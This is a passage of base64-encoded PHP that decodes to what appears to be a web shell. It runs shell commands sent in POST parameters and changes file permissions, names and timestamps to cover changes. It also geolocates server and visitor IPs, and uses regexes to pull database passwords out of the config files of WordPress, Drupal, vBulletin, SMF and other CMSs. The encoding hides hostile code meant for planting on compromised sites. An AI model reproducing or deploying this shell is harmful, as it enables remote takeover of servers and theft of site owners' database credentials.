REVSLCAkdGhpcy0+aGVhZGVycyk7CmN1cmxfc2V0b3B0KCRwcm9jZXNzLCBDVVJMT1BUX0hFQURFUiwgMCk7CmN1cmxfc2V0b3B0KCRwcm9jZXNzLCBDVVJMT1BUX1VTRVJBR0VOVCwgJHRoaXMtPnVzZXJfYWdlbnQpOwpjdXJsX3NldG9wdCgkcHJvY2VzcywgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgMSk7CmN1cmxfc2V0b3B0KCRwcm9jZXNzLCBDVVJMT1BUX0VOQ09ESU5HICwgJHRoaXMtPmNvbXByZXNzaW9uKTsKY3VybF9zZXRvcHQoJHByb2Nlc3MsIENVUkxPUFRfVElNRU9VVCwgMzApOwppZigkdGhpcy0+c3NsKXsKY3VybF9zZXRvcHQoJHByb2Nlc3MsIENVUkxPUFRfU1NMX1ZFUklGWVBFRVIgLGZhbHNlKTsKY3VybF9zZXRvcHQoJHByb2Nlc3MsIENVUkxPUFRfU1NMX1ZFUklGWUhPU1QsZmFsc2UpOwp9CmlmKCR0aGlzLT5jb29raWVzKXsKY3VybF9zZXRvcHQoJHByb2Nlc3MsIENVUkxPUFRfQ09PS0lFRklMRSwgJHRoaXMtPnBhdGgpOwpjdXJsX3NldG9wdCgkcHJvY2VzcywgQ1VSTE9QVF9DT09LSUVKQVIsICR0aGlzLT5wYXRoKTsKfQppZigkdGhpcy0+cHJveHkpewpjdXJsX3NldG9wdCgkcHJvY2VzcywgQ1VSTE9QVF9QUk9YWSwgJHRoaXMtPnByb3h5KTsKfQppZigkbWV0aG9kPT0ncG9zdCcpewpjdXJsX3NldG9wdCgkcHJvY2VzcywgQ1VSTE9QVF9QT1NURklFTERTLCAkZGF0YSk7CmN1cmxfc2V0b3B0KCRwcm9jZXNzLCBDVVJMT1BUX1BPU1QsIDEpOwpjdXJsX3NldG9wdCgkcHJvY2VzcywgQ1VSTE9QVF9IVFRQSEVBREVSLCBhcnJheSgnQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi94LXd3dy1mb3JtLXVybGVuY29kZWQnKSk7Cn0KJHJldHVybiA9IEBjdXJsX2V4ZWMoJHByb2Nlc3MpOwpjdXJsX2Nsb3NlKCRwcm9jZXNzKTsKcmV0dXJuICRyZXR1cm47Cn0KZnVuY3Rpb24gZXJyb3IoJGVycm9yKSB7CmVjaG8gIjxjZW50ZXI+PGRpdiBzdHlsZT0nd2lkdGg6NTAwcHg7Ym9yZGVyOiAzcHggc29saWQgI0ZGRUVGRjsgcGFkZGluZzogM3B4OyBiYWNrZ3JvdW5kLWNvbG9yOiAjRkZEREZGO2ZvbnQtZmFtaWx5OiB2ZXJkYW5hOyBmb250LXNpemU6IDEwcHgnPjxiPmNVUkwgRXJyb3I8L2I+PGJyPiRlcnJvcjwvZGl2PjwvY2VudGVyPiI7CmRpZTsKfQp9CmZ1bmN0aW9uIGdldENvbmZpZ0h0bWwoJGNtcyl7CiRjb250ZW50ID0gJyc7CiRjbXNfYXJyYXkgPSBhcnJheSgid3AiID0+ICJXb3JkUHJlc3MiLCAidmIiID0+ICJ2QnVsbGV0aW4iLCAid2htY3MiID0+ICJXaG1jcyIsICJqb29tbGEiID0+ICJKb29tbGEiLCAicGhwbnVrZSIgPT4gIlBIUE51a2UiLCJwaHBiYiI9PiJQSFBCQiIsIm15YmIiPT4iTXlCQiIsImRydXBhbCI9PiJEcnVwYWwiLCJzbWYiPT4iU01GIik7CiRjb250ZW50IC49ICI8Zm9ybSBjbGFzcz0nZ2V0Y29uZmlnJyBvblN1Ym1pdD0nZyhcIkdldENvbmZpZ1wiLG51bGwsdGhpcy5jbXMudmFsdWUsdGhpcy5wYXRoLnZhbHVlLHRoaXMuZ2V0QXR0cmlidXRlKFwiYmFzZV9pZFwiKSk7cmV0dXJuIGZhbHNlOyc+PGRpdiBjbGFzcz0ndHh0Zm9udCc+Q21zOiA8L2Rpdj4gPHNlbGVjdCBuYW1lPSdjbXMnc3R5bGU9J3dpZHRoOjEwMHB4Oyc+IjsKZm9yZWFjaCgkY21zX2FycmF5IGFzICRrZXkgPT4gJHZhbCl7CiRjb250ZW50IC49ICI8b3B0aW9uIHZhbHVlPSd7JGtleX0nICIuKCRrZXk9PSRjbXM/J3NlbGVjdGVkPXNlbGVjdGVkJzonJykuIj57JHZhbH08L29wdGlvbj4iOwp9CiRjb250ZW50IC49ICI8L3NlbGVjdD4gPGRpdiBjbGFzcz0ndHh0Zm9udCc+UGF0aChpbnN0YWxsZWQgY21zL0NvbmZpZyk6IDwvZGl2PiA8aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0ncGF0aCcgdmFsdWU9JyIuJF9TRVJWRVJbJ0RPQ1VNRU5UX1JPT1QnXS4iLycgc2l6ZT0nMzAnIC8+IDxidXR0b24gY2xhc3M9J2J1dHRvbic+R2V0Q29uZmlnPC9idXR0b24+IjsKJGNvbnRlbnQgLj0gIjwvZm9ybT4iOwpyZXR1cm4gJGNvbnRlbnQ7Cn0KaWYgKCFmdW5jdGlvbl9leGlzdHMoJ2pzb25fZW5jb2RlJykpewogICAgZnVuY3Rpb24ganNvbl9lbmNvZGUoJGE9ZmFsc2UpewogICAgICAgIGlmIChpc19udWxsKCRhKSkgcmV0dXJuICdudWxsJzsKICAgICAgICBpZiAoJGEgPT09IGZhbHNlKSByZXR1cm4gJ2ZhbHNlJzsKICAgICAgICBpZiAoJGEgPT09IHRydWUpIHJldHVybiAndHJ1ZSc7CiAgICAgICAgaWYgKGlzX3NjYWxhcigkYSkpCiAgICAgICAgewogICAgICAgICAgICBpZiAoaXNfZmxvYXQoJGEpKQogICAgICAgICAgICB7CiAgICAgICAgICAgICAgICByZXR1cm4gZmxvYXR2YWwoc3RyX3JlcGxhY2UoIiwiLCAiLiIsIHN0cnZhbCgkYSkpKTsKICAgICAgICAgICAgfQoKICAgICAgICAgICAgaWYgKGlzX3N0cmluZygkYSkpCiAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgIHN0YXRpYyAkanNvblJlcGxhY2VzID0gYXJyYXkoYXJyYXkoIlxcIiwgIi8iLCAiXG4iLCAiXHQiLCAiXHIiLCAiXGIiLCAiXGYiLCAnIicpLCBhcnJheSgnXFxcXCcsICdcXC8nLCAnXFxuJywgJ1xcdCcsICdcXHInLCAnXFxiJywgJ1xcZicsICdcIicpKTsKICAgICAgICAgICAgICAgIHJldHVybiAnIicgLiBzdHJfcmVwbGFjZSgkanNvblJlcGxhY2VzWzBdLCAkanNvblJlcGxhY2VzWzFdLCAkYSkgLiAnIic7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgZWxzZQogICAgICAgICAgICByZXR1cm4gJGE7CiAgICAgICAgfQogICAgICAgICRpc0xpc3QgPSB0cnVlOwogICAgICAgIGZvciAoJGkgPSAwLCByZXNldCgkYSk7ICRpIDwgY291bnQoJGEpOyAkaSsrLCBuZXh0KCRhKSkKICAgICAgICB7CiAgICAgICAgICAgIGlmIChrZXkoJGEpICE9PSAkaSkKICAgICAgICAgICAgewogICAgICAgICAgICAgICAgJGlzTGlzdCA9IGZhbHNlOwogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgJHJlc3VsdCA9IGFycmF5KCk7CiAgICAgICAgaWYgKCRpc0xpc3QpCiAgICAgICAgewogICAgICAgICAgICBmb3JlYWNoICgkYSBhcyAkdikgJHJlc3VsdFtdID0ganNvbl9lbmNvZGUoJHYpOwogICAgICAgICAgICByZXR1cm4gJ1snIC4gam9pbignLCcsICRyZXN1bHQpIC4gJ10nOwogICAgICAgIH0KICAgICAgICBlbHNlCiAgICAgICAgewogICAgICAgICAgICBmb3JlYWNoICgkYSBhcyAkayA9PiAkdikgJHJlc3VsdFtdID0ganNvbl9lbmNvZGUoJGspLic6Jy5qc29uX2VuY29kZSgkdik7CiAgICAgICAgICAgIHJldHVybiAneycgLiBqb2luKCcsJywgJHJlc3VsdCkgLiAnfSc7CiAgICAgICAgfQogICAgfQp9CmlmICggIWZ1bmN0aW9uX2V4aXN0cygnanNvbl9kZWNvZGUnKSApewpmdW5jdGlvbiBqc29uX2RlY29kZSgkanNvbiwgJGFycmF5PXRydWUpewogICAgJGNvbW1lbnQgPSBmYWxzZTsKICAgICRvdXQgPSAnJHg9JzsKICAgIGZvciAoJGk9MDsgJGk8c3RybGVuKCRqc29uKTsgJGkrKykKICAgIHsKICAgICAgICBpZiAoISRjb21tZW50KQogICAgICAgIHsKICAgICAgICAgICAgaWYgKCRqc29uWyRpXSA9PSAneycgfHwgJGpzb25bJGldID09ICdbJyl7JG91dCAuPSAnIGFycmF5KCc7fQogICAgICAgICAgICBlbHNlIGlmICgkanNvblskaV0gPT0gJ30nIHx8ICRqc29uWyRpXSA9PSAnXScpeyRvdXQgLj0gJyknO30KICAgICAgICAgICAgZWxzZSBpZiAoJGpzb25bJGldID09ICc6Jyl7JG91dCAuPSAnPT4nO30KICAgICAgICAgICAgZWxzZSB7JG91dCAuPSAkanNvblskaV07fQogICAgICAgIH0KICAgICAgICBlbHNlICRvdXQgLj0gJGpzb25bJGldOwogICAgICAgIGlmICgkanNvblskaV0gPT0gJyInKSAgICAkY29tbWVudCA9ICEkY29tbWVudDsKICAgIH0KICAgIGV2YWwoJG91dCAuICc7Jyk7CiAgICByZXR1cm4gJHg7Cn0KfQpmdW5jdGlvbiBob2tpdGVybWluYWxFeGVjKCl7CgkkcHdkID0gInB3ZCI7Cgkkc2VwZXJhdG9yID0gIjsiOwoJaWYoJEdMT0JBTFNbJ3N5cyddIT0ndW5peCcpewoJCSRwd2QgPSAiY2QiOwoJCSRzZXBlcmF0b3IgPSAiJiI7Cgl9CglpZigkR0xPQkFMU1siZ2xvYl9jaGRpcl9mYWxzZSJdJiYhZW1wdHkoJF9QT1NUWyJjIl0pKXskY21kID0gImNkICciLmFkZHNsYXNoZXMoJF9QT1NUWyJjIl0pLiInIi4kc2VwZXJhdG9yO30KCSRjdXJyZW50X3BhdGggPSAnJzsKCWlmKHByZWdfbWF0Y2goIi9jZFsgXXswLH0oLiopWyBdezAsfSIuJHNlcGVyYXRvci4ifGNkWyBdezAsfSguKilbIF17MCx9L2kiLCAkX1BPU1RbJ2hva2kxJ10sICRtYXRjaCkpewoJCWlmKGVtcHR5KCRtYXRjaFsxXSkpewoJCQkkbWF0Y2hbMV0gPSAkbWF0Y2hbMl07CgkJfQoJCSRjdXJyZW50X3BhdGggPSBob2tpRXgoImNkICIuYWRkc2xhc2hlcygkbWF0Y2hbMV0pLiRzZXBlcmF0b3IuJHB3ZCk7CgkJJGN1cnJlbnRfcGF0aCA9IHN0cl9yZXBsYWNlKCJcXCIsICIvIiwgJGN1cnJlbnRfcGF0aCk7Cgl9Cgkkb3V0ID0gaG9raUV4KCRjbWQuJF9QT1NUWydob2tpMSddLCB0cnVlKTsKCSRvdXQgPSBodG1sc3BlY2lhbGNoYXJzKCRvdXQpOwoJZWNobyBqc29uX2VuY29kZShhcnJheSgib3V0cHV0IiA9PiBjb252ZXJ0QmFzaCgkb3V0KSwgInBhdGgiID0+ICRjdXJyZW50X3BhdGgpKTsKfQpmdW5jdGlvbiBjb252ZXJ0QmFzaCgkY29kZSkgewogICAgJGRpY3Rpb25hcnkgPSBhcnJheSgKICAgICAgICAnWzAxOzMwbScgPT4gJzxzcGFuIHN0eWxlPSJjb2xvcjpibGFjayI+JywKICAgICAgICAnWzAxOzMxbScgPT4gJzxzcGFuIHN0eWxlPSJjb2xvcjpyZWQiPicsCiAgICAgICAgJ1swMTszMm0nID0+ICc8c3BhbiBzdHlsZT0iY29sb3I6Z3JlZW4iPicsCiAgICAgICAgJ1swMTszM20nID0+ICc8c3BhbiBzdHlsZT0iY29sb3I6eWVsbG93Ij4nLAogICAgICAgICdbMDE7MzRtJyA9PiAnPHNwYW4gc3R5bGU9ImNvbG9yOmJsdWUiPicsCiAgICAgICAgJ1swMTszNW0nID0+ICc8c3BhbiBzdHlsZT0iY29sb3I6cHVycGxlIj4nLAogICAgICAgICdbMDE7MzZtJyA9PiAnPHNwYW4gc3R5bGU9ImNvbG9yOmN5YW4iPicsCiAgICAgICAgJ1swMTszN20nID0+ICc8c3BhbiBzdHlsZT0iY29sb3I6d2hpdGUiPicsCiAgICAgICAgJ1swbScgICA9PiAnPC9zcGFuPicKICAgICk7CiAgICAkaHRtbFN0cmluZyA9IHN0cl9yZXBsYWNlKGFycmF5X2tleXMoJGRpY3Rpb25hcnkpLCAkZGljdGlvbmFyeSwgJGNvZGUpOwogICAgcmV0dXJuICRodG1sU3RyaW5nOwp9CmZ1bmN0aW9uIGhva2lkb0FjdGlvbnMoKXsKCSRjaGRpcl9mYWxzID0gZmFsc2U7CglpZighQGNoZGlyKCRfUE9TVFsnYyddKSl7CgkJJGNoZGlyX2ZhbHMgPSB0cnVlOwoJCSRob2tpX2NhbnJ1bmNtZCA9IF9ob2tpX2Nhbl9ydW5Db21tYW5kKHRydWUsdHJ1ZSk7Cgl9CglpZihpc3NldCgkX1BPU1RbJ2hva2kxJ10pKSRfUE9TVFsnaG9raTEnXSA9IHJhd3VybGRlY29kZSgkX1BPU1RbJ2hva2kxJ10pOwoJaWYoaXNzZXQoJF9QT1NUWydob2tpMiddKSkkX1BPU1RbJ2hva2kyJ10gPSByYXd1cmxkZWNvZGUoJF9QT1NUWydob2tpMiddKTsKCSRhY3Rpb24gPSAkX1BPU1RbImhva2kzIl07CglpZigkYWN0aW9uID09ICJwZXJtaXNzaW9uIil7CgkJJHBlcm1zID0gMDsKCQkkcGVybSA9ICRfUE9TVFsiaG9raTIiXTsKCQlmb3IoJGk9c3RybGVuKCRwZXJtKS0xOyRpPj0wOy0tJGkpewoJCQkkcGVybXMgKz0gKGludCkkcGVybVskaV0qcG93KDgsIChzdHJsZW4oJHBlcm0pLSRpLTEpKTsKCQl9CgkJaWYoQGNobW9kKCRfUE9TVFsnaG9raTEnXSwgJHBlcm1zKSl7CgkJCWVjaG8oImRvbmUiKTsKCQl9ZWxzZXsKCQkJZWNobygibm8iKTsKCQl9CgkJcmV0dXJuOwoJfQoJaWYoJGFjdGlvbiA9PSAicmVuYW1lIiB8fCAkYWN0aW9uID09ICJtb3ZlIil7CgkJJGhva2kxX2RlY29kZWQgPSAkX1BPU1RbJ2hva2kxJ107CgkJaWYoJGNoZGlyX2ZhbHMpewoJCQkkX1BPU1RbJ2hva2kxJ10gPSAkX1BPU1RbImMiXS4iLyIuJF9QT1NUWyJob2tpMSJdOwoJCX0KCQkkX1BPU1RbJ2hva2kxJ10gPSB0cmltKCRfUE9TVFsnaG9raTEnXSk7CgkJJGhva2kxX2VzY2FwZSA9IGFkZHNsYXNoZXMoJF9QT1NUWyJob2tpMSJdKTsKCQlpZigkX1BPU1RbImhva2kzIl0gPT0gInJlbmFtZSIpewoJCQkkX1BPU1RbJ2hva2kyJ10gPSBiYXNlbmFtZSgkX1BPU1RbJ2hva2kyJ10pOwoJCX0KCQlpZighZW1wdHkoJF9QT1NUWydob2tpMiddKSl7CgkJCSRjbWRfcmVuYW1lID0gZmFsc2U7CgkJCWlmKCRjaGRpcl9mYWxzJiYkaG9raV9jYW5ydW5jbWQpewoJCQkJaWYoX2hva2lfaXNfd3JpdGFibGUoJF9QT1NUWydob2tpMSddKSl7CgkJCQkJJGNtZF9yZW5hbWUgPSB0cnVlOwoJCQkJCSRob2tpMV9lc2NhcGUgPSBhZGRzbGFzaGVzKCRob2tpMV9kZWNvZGVkKTsKCQkJCQlob2tpRXgoImNkICciLmFkZHNsYXNoZXMoJF9QT1NUWydjJ10pLiInO212ICciLiRob2tpMV9lc2NhcGUuIicgJyIuYWRkc2xhc2hlcygkX1BPU1RbJ2hva2kyJ10pLiInIik7CgkJCQl9CgkJCX0KCQkJaWYoIWZpbGVfZXhpc3RzKCRfUE9TVFsnaG9raTInXSkpewoJCQkJaWYoQHJlbmFtZSgkX1BPU1RbJ2hva2kxJ10sICRfUE9TVFsnaG9raTInXSl8fCRjbWRfcmVuYW1lKXsKCQkJCQllY2hvICJkb25lIjsKCQkJCX1lbHNlewoJCQkJCWVjaG8gIm5vIjsKCQkJCX0KCQkJfWVsc2V7CgkJCQllY2hvICJubyI7CgkJCX0KCQl9Cgl9ZWxzZWlmKCRhY3Rpb24gPT0gImNvcHkiKXsKCQlpZihpc19kaXIoJF9QT1NUWyJob2tpMSJdKSl7CgkJCSRkaXIgPSBzdHJfcmVwbGFjZSgnLy8nLCAnLycsICRfUE9TVFsiaG9raTEiXSk7CgkJCSRkaXIgPSBleHBsb2RlKCcvJywgJGRpcik7CgkJCWlmKGVtcHR5KCRkaXJbY291bnQoJGRpcikgLSAxXSkpewoJCQkJJG5hbWUgPSAkZGlyW2NvdW50KCRkaXIpIC0gMl07CgkJCX1lbHNlewoJCQkJJG5hbWUgPSAkZGlyW2NvdW50KCRkaXIpIC0gMV07CgkJCX0KCQl9ZWxzZXsKCQkJJG5hbWUgPSBiYXNlbmFtZSgkX1BPU1RbImhva2kxIl0pOwoJCX0KCQkkZGlyID0gZGlybmFtZSgkX1BPU1RbImhva2kxIl0pOwoJCWlmKCRkaXIgPT0gIi4iKXsKCQkJJGRpciA9ICRfUE9TVFsiYyJdLiIvIjsKCQl9CgkJaWYoaXNfZmlsZSgkX1BPU1RbImhva2kxIl0pKXsKCQkJQGNvcHkoJF9QT1NUWyJob2tpMSJdLCAkX1BPU1RbImhva2kyIl0pOwoJCQllY2hvKCJkb25lIik7CgkJfWVsc2VpZihpc19kaXIoJF9QT1NUWyJob2tpMSJdKSl7CgkJCWlmKCFpc19kaXIoJF9QT1NUWyJob2tpMiJdKSl7CgkJCQlta2RpcigkX1BPU1RbImhva2kyIl0sIDA3NTUsIHRydWUpOwoJCQl9CgkJCWNvcHlfcGFzdGUoJGRpciwgJG5hbWUgLCAkX1BPU1RbImhva2kyIl0gLiAiLyIpOwoJCQllY2hvKCJkb25lIik7CgkJfQoJfWVsc2VpZigkYWN0aW9uID09ICJtb2RpZnkiKXsKCQlpZiggIWVtcHR5KCRfUE9TVFsnaG9raTEnXSkgKSB7CgkJCSR0aW1lID0gc3RydG90aW1lKCRfUE9TVFsnaG9raTEnXSk7CgkJCWlmKCR0aW1lKXsKCQkJCSR0b3VjaGVkID0gZmFsc2U7CgkJCQlpZigkY2hkaXJfZmFscyYmJGhva2lfY2FucnVuY21kKXsKCQkJCQlob2tpRXgoImNkICciLmFkZHNsYXNoZXMoJF9QT1NUWyJjIl0pLiInO3RvdWNoIC1kICciLmh0bWxzcGVjaWFsY2hhcnMoYWRkc2xhc2hlcygkX1BPU1RbJ2hva2kxJ10pKS4iJyAnIi5hZGRzbGFzaGVzKCRfUE9TVFsnaG9raTInXSkuIiciKTsKCQkJCQkkdG91Y2hlZCA9IHRydWU7CgkJCQl9CgkJCQlpZighQHRvdWNoKCRfUE9TVFsnaG9raTInXSwkdGltZSwkdGltZSkmJiEkdG91Y2hlZCl7CgkJCQkJZWNobyAnbm8nOwoJCQkJfWVsc2V7CgkJCQkJZWNobyAnb2snOwoJCQkJfQoJCQl9IGVsc2V7CgkJCQkgZWNobyAnYmFkdGltZSc7CgkJCX0KCQl9Cgl9Cgp9CmZ1bmN0aW9uIGhva2lnZXRfZmxhZ3MoKXsKCSRmbGFncyA9IGFycmF5KCk7CglpZihmdW5jdGlvbl9leGlzdHMoImN1cmxfdmVyc2lvbiIpKXsKCQkkY3VybCA9IG5ldyBIb2tpQ1VSTCgpOwoJCSRzZXJ2ZXJfYWRkciA9ICghQCRfU0VSVkVSWyJTRVJWRVJfQUREUiJdPyhmdW5jdGlvbl9leGlzdHMoImdldGhvc3RieW5hbWUiKT9AZ2V0aG9zdGJ5bmFtZSgkX1NFUlZFUlsnU0VSVkVSX05BTUUnXSk6Jz8/Pz8nKTpAJF9TRVJWRVJbIlNFUlZFUl9BRERSIl0pOwoJCSRmbGFnID0gJGN1cmwtPlNlbmQoImh0dHA6Ly93d3cuZ2VvcGx1Z2luLm5ldC9qc29uLmdwP2lwPSIgLiAkc2VydmVyX2FkZHIpOwoJCSRmbGFnMiA9ICRjdXJsLT5TZW5kKCJodHRwOi8vd3d3Lmdlb3BsdWdpbi5uZXQvanNvbi5ncD9pcD0iIC4gJF9TRVJWRVJbIlJFTU9URV9BRERSIl0pOwoJCWlmKHN0cnBvcygkZmxhZzIsICJnZW9wbHVnaW4iKSAhPSBmYWxzZSl7CgkJCSRmbGFnID0ganNvbl9kZWNvZGUoJGZsYWcsIHRydWUpOwoJCQkkZmxhZzIgPSBqc29uX2RlY29kZSgkZmxhZzIsIHRydWUpOwoJCQlpZighZW1wdHkoJGZsYWdbJ2dlb3BsdWdpbl9jb3VudHJ5Q29kZSddKSl7CgkJCQkkZmxhZ3NbInNlcnZlciJdWyJuYW1lIl0gPSAkZmxhZ1snZ2VvcGx1Z2luX2NvdW50cnlOYW1lJ107CgkJCQkkZmxhZ3NbInNlcnZlciJdWyJjb2RlIl0gPSAkZmxhZ1snZ2VvcGx1Z2luX2NvdW50cnlDb2RlJ107CgkJCX0KCQkJaWYoIWVtcHR5KCRmbGFnMlsnZ2VvcGx1Z2luX2NvdW50cnlDb2RlJ10pKXsKCQkJCSRmbGFnc1siY2xpZW50Il1bIm5hbWUiXSA9ICRmbGFnMlsnZ2VvcGx1Z2luX2NvdW50cnlOYW1lJ107CgkJCQkkZmxhZ3NbImNsaWVudCJdWyJjb2RlIl0gPSAkZmxhZzJbJ2dlb3BsdWdpbl9jb3VudHJ5Q29kZSddOwoJCQl9CgkJfQoJfQoJZWNobyBqc29uX2VuY29kZSgkZmxhZ3MpOwp9CmZ1bmN0aW9uIGhva2lHZXRDb25maWcoKXsKJGNtcyA9ICRfUE9TVFsnaG9raTEnXTsKJHBhdGggPSB0cmltKCRfUE9TVFsnaG9raTInXSk7CiRjb25maWcgPSBhcnJheSgKJ3dwJz0+YXJyYXkoJ2ZpbGUnPT4nL3dwLWNvbmZpZy5waHAnLAonaG9zdCc9PmFycmF5KCIvZGVmaW5lWyBdezAsfVwoWyBdezAsfSg/Oid8XCIpREJfSE9TVCg/Oid8XCIpWyBdezAsfSxbIF17MCx9KD86J3xcIikoLio/KSg/Oid8XCIpWyBdezAsfVwpWyBdezAsfTsvIiwxKSwKJ2RibmFtZSc9PmFycmF5KCIvZGVmaW5lWyBdezAsfVwoWyBdezAsfSg/Oid8XCIpREJfTkFNRSg/Oid8XCIpWyBdezAsfSxbIF17MCx9KD86J3xcIikoLio/KSg/Oid8XCIpWyBdezAsfVwpWyBdezAsfTsvIiwxKSwKJ2RidXNlcic9PmFycmF5KCIvZGVmaW5lWyBdezAsfVwoWyBdezAsfSg/Oid8XCIpREJfVVNFUig/Oid8XCIpWyBdezAsfSxbIF17MCx9KD86J3xcIikoLio/KSg/Oid8XCIpWyBdezAsfVwpWyBdezAsfTsvIiwxKSwKJ2RicHcnPT5hcnJheSgiL2RlZmluZVsgXXswLH1cKFsgXXswLH0oPzonfFwiKURCX1BBU1NXT1JEKD86J3xcIilbIF17MCx9LFsgXXswLH0oPzonfFwiKSguKj8pKD86J3xcIilbIF17MCx9XClbIF17MCx9Oy8iLDEpLAoncHJlZml4Jz0+YXJyYXkoIi90YWJsZV9wcmVmaXhbIF17MCx9PVsgXXswLH0oPzonfFwiKSguKj8pKD86J3xcIilbIF17MCx9Oy8iLDEpCiksCidkcnVwYWwnPT5hcnJheSgnZmlsZSc9PicvY29uZmlnLnBocCcsCidob3N0Jz0+YXJyYXkoIi9kZWZpbmVbIF17MCx9XChbIF17MCx9KD86J3xcIilEQl9IT1NUTkFNRSg/Oid8XCIpWyBdezAsfSxbIF17MCx9KD86J3xcIikoLio/KSg/Oid8XCIpWyBdezAsfVwpWyBdezAsfTsvIiwxKSwKJ2RibmFtZSc9PmFycmF5KCIvZGVmaW5lWyBdezAsfVwoWyBdezAsfSg/Oid8XCIpREJfREFUQUJBU0UoPzonfFwiKVsgXXswLH0sWyBdezAsfSg/Oid8XCIpKC4qPykoPzonfFwiKVsgXXswLH1cKVsgXXswLH07LyIsMSksCidkYnVzZXInPT5hcnJheSgiL2RlZmluZVsgXXswLH1cKFsgXXswLH0oPzonfFwiKURCX1VTRVJOQU1FKD86J3xcIilbIF17MCx9LFsgXXswLH0oPzonfFwiKSguKj8pKD86J3xcIilbIF17MCx9XClbIF17MCx9Oy8iLDEpLAonZGJwdyc9PmFycmF5KCIvZGVmaW5lWyBdezAsfVwoWyBdezAsfSg/Oid8XCIpREJfUEFTU1dPUkQoPzonfFwiKVsgXXswLH0sWyBdezAsfSg/Oid8XCIpKC4qPykoPzonfFwiKVsgXXswLH1cKVsgXXswLH07LyIsMSksCidwcmVmaXgnPT5hcnJheSgiL2RlZmluZVsgXXswLH1cKFsgXXswLH0oPzonfFwiKURCX1BSRUZJWCg/Oid8XCIpWyBdezAsfSxbIF17MCx9KD86J3xcIikoLio/KSg/Oid8XCIpWyBdezAsfVwpWyBdezAsfTsvIiwxKQopLAonZHJ1cGFsMic9PmFycmF5KCdmaWxlJz0+Jy9zaXRlcy9kZWZhdWx0L3NldHRpbmdzLnBocCcsCidob3N0Jz0+YXJyYXkoIi8oPzonfFwiKWhvc3QoPzonfFwiKVsgXXswLH09PlsgXXswLH0oPzonfFwiKSguKj8pKD86J3xcIilbIF17MCx9LC8iLDEpLAonZGJuYW1lJz0+YXJyYXkoIi8oPzonfFwiKWRhdGFiYXNlKD86J3xcIilbIF17MCx9PT5bIF17MCx9KD86J3xcIikoLio/KSg/Oid8XCIpWyBdezAsfSwvIiwxKSwKJ2RidXNlcic9PmFycmF5KCIvKD86J3xcIil1c2VybmFtZSg/Oid8XCIpWyBdezAsfT0+WyBdezAsfSg/Oid8XCIpKC4qPykoPzonfFwiKVsgXXswLH0sLyIsMSksCidkYnB3Jz0+YXJyYXkoIi8oPzonfFwiKXBhc3N3b3JkKD86J3xcIilbIF17MCx9PT5bIF17MCx9KD86J3xcIikoLio/KSg/Oid8XCIpWyBdezAsfSwvIiwxKSwKJ3ByZWZpeCc9PmFycmF5KCIvKD86J3xcIilwcmVmaXgoPzonfFwiKVsgXXswLH09PlsgXXswLH0oPzonfFwiKSguKj8pKD86J3xcIilbIF17MCx9LC8iLDEpCiksCid2Yic9PmFycmF5KCdmaWxlJz0+Jy9pbmNsdWRlcy9jb25maWcucGhwJywKJ2hvc3QnPT5hcnJheSgiL2NvbmZpZ1xbKD86J3xcIilNYXN0ZXJTZXJ2ZXIoPzonfFwiKVxdXFsoPzonfFwiKXNlcnZlcm5hbWUoPzonfFwiKVxdKFxzKyk9KFxzKykoPzonfFwiKSguKj8pKD86J3xcIilbIF17MCx9Oy8iLDMpLAonZGJ1c2VyJz0+YXJyYXkoIi9jb25maWdcWyg/Oid8XCIpTWFzdGVyU2VydmVyKD86J3xcIilcXVxbKD86J3xcIil1c2VybmFtZSg/Oid8XCIpXF0oXHMrKT0oXHMrKSg/Oid8XCIpKC4qPykoPzonfFwiKVsgXXswLH07LyIsMyksCidkYm5hbWUnPT5hcnJheSgiL2NvbmZpZ1xbKD86J3xcIilEYXRhYmFzZSg/Oid8XCIpXF1cWyg/Oid8XCIpZGJuYW1lKD86J3xcIilcXShccyspPShccyspKD86J3xcIikoLio/KSg/Oid8XCIpWyBdezAsfTsvIiwzKSwKJ2RicHcnPT5hcnJheSgiL2NvbmZpZ1xbKD86J3xcIilNYXN0ZXJTZXJ2ZXIoPzonfFwiKVxdXFsoPzonfFwiKXBhc3N3b3JkKD86J3xcIilcXShccyspPShccyspKD86J3xcIikoLio/KSg/Oid8XCIpWyBdezAsfTsvIiwzKSwKJ3ByZWZpeCc9PmFycmF5KCIvY29uZmlnXFsoPzonfFwiKURhdGFiYXNlKD86J3xcIilcXVxbKD86J3xcIil0YWJsZXByZWZpeCg/Oid8XCIpXF0oXHMrKT0oXHMrKSg/Oid8XCIpKC4qPykoPzonfFwiKVsgXXswLH07LyIsMykKKSwKJ3BocG51a2UnPT5hcnJheSgnZmlsZSc9PicvY29uZmlnLnBocCcsCidob3N0Jz0+YXJyYXkoJy9kYmhvc3QoXHMrKT0oXHMrKSg/OlwnfCIpKC4qPykoPzpcJ3wiKTsvJywzKSwKJ2RibmFtZSc9PmFycmF5KCcvZGJuYW1lKFxzKyk9KFxzKykoPzpcJ3wiKSguKj8pKD86XCd8Iik7LycsMyksCidkYnVzZXInPT5hcnJheSgnL2RidW5hbWUoXHMrKT0oXHMrKSg/OlwnfCIpKC4qPykoPzpcJ3wiKTsvJywzKSwKJ2RicHcnPT5hcnJheSgnL2RicGFzcyhccyspPShccyspKD86XCd8IikoLio/KSg/OlwnfCIpOy8nLDMpLAoncHJlZml4Jz0+YXJyYXkoJy9wcmVmaXgoXHMrKT0oXHMrKSg/OlwnfCIpKC4qPykoPzpcJ3wiKTsvJywzKQopLAonc21mJz0+YXJyYXkoJ2ZpbGUnPT4nL1NldHRpbmdzLnBocCcsCidob3N0Jz0+YXJyYXkoIi9kYl9zZXJ2ZXIoXHMrKT0oXHMrKSg/Oid8XCIpKC4qPykoPzonfFwiKTsvIiwzKSwKJ2RibmFtZSc9PmFycmF5KCIvZGJfbmFtZShccyspPShccyspKD86J3xcIikoLio/KSg/Oid8XCIpOy8iLDMpLAonZGJ1c2VyJz0+YXJyYXkoIi9kYl91c2VyKFxzKyk9KFxzKykoPzonfFwiKSguKj8pKD86J3xcIik7LyIsMyksCidkYnB3Jz0+YXJyYXkoIi9kYl9wYXNzd2QoXHMrKT0oXHMrKSg/Oid8XCIpKC4qPykoPzonfFwiKTsvIiwzKSwKJ3ByZWZpeCc9PmFycmF5KCIvZGJfcHJlZml4KFxzKyk9KFxzKykoPzonfFwiKSguKj8pKD86J3xcIik7L